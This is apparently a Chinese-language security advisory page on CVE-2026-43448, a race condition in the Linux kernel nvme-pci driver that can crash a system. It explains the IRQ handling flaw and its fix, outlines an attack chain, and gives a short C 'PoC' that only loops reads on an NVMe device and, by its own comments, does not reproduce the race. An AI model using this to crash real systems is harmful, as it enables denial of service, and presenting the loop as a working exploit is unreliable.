IPBUF安全漏洞报告
English
CVE-2026-43448 CVSS 4.7 中危

CVE-2026-43448: Linux内核nvme-pci竞态条件漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43448
漏洞类型
竞态条件
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

竞态条件Linux内核CVE-2026-43448DoSnvme本地漏洞

漏洞概述

Linux内核中的nvme-pci驱动程序在`nvme_poll_irqdisable`函数中存在竞态条件漏洞。当轮询任务与设备复位任务并发执行时,由于缺乏同步机制,可能导致IRQ(中断请求)状态管理出现不一致。这种不一致会触发内核警告“Unbalanced enable for IRQ”,进而导致系统崩溃或拒绝服务。该漏洞允许本地低权限攻击者利用此缺陷破坏系统稳定性。

技术细节

该漏洞源于`nvme_poll_irqdisable()`与`nvme_reset_work()`之间的竞争。`nvme_poll_irqdisable`先调用`disable_irq(pci_irq_vector(...))`获取并禁用MSI-X IRQ。若此时`nvme_reset_work`执行`nvme_dev_disable`将`pdev->msix_enabled`置0,随后的`pci_irq_vector`调用将返回INTx IRQ而非MSI-X IRQ。这导致`enable_irq`作用于一个从未被禁用的IRQ,破坏了内核IRQ的深度计数平衡,触发`__enable_irq`中的WARNING并导致系统崩溃。修复方法是将IRQ编号预先保存至局部变量,确保disable和enable操作针对同一编号。

攻击链分析

STEP 1
步骤1
本地低权限用户在系统上执行针对NVMe设备的IO密集型操作。
STEP 2
步骤2
内核处理IO请求时触发超时,调用`nvme_timeout`进而执行`nvme_poll_irqdisable`。
STEP 3
步骤3
在`nvme_poll_irqdisable`执行disable和enable IRQ的间隙,并发任务(如`nvme_reset_work`)执行设备复位并禁用MSI-X。
STEP 4
步骤4
`pci_irq_vector`返回不一致的IRQ编号,导致`enable_irq`操作错误,触发内核警告和系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43448 * This code attempts to stress the NVMe device to trigger the race condition. * Successful exploitation requires precise timing between IO and reset. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define BLKRRPART _IO(0x12,95) int main() { const char* device = "/dev/nvme0n1"; int fd = open(device, O_RDONLY); if (fd < 0) { perror("Failed to open NVMe device"); return 1; } printf("Starting NVMe stress test to trigger race condition...\n"); char buffer[4096]; // Perform continuous reads to trigger IO paths and potential timeouts for (int i = 0; i < 10000; i++) { lseek(fd, 0, SEEK_SET); read(fd, buffer, sizeof(buffer)); // In a real exploit scenario, one would try to trigger resets // concurrently or inject faults to hit nvme_reset_work. // This is a simplified representation of the trigger context. } close(fd); printf("PoC execution finished. Check dmesg for IRQ warnings.\n"); return 0; }

影响范围

Linux Kernel (主分支及稳定版)
Linux Kernel 6.19 (基于崩溃日志推断)

防御指南

临时缓解措施
由于该漏洞属于内核驱动层面的逻辑错误,最有效的缓解措施是及时安装官方发布的内核更新补丁。在无法立即重启升级的情况下,限制非特权用户对系统的访问权限可以降低被故意攻击的风险,但无法完全防止内核内部并发任务导致的崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表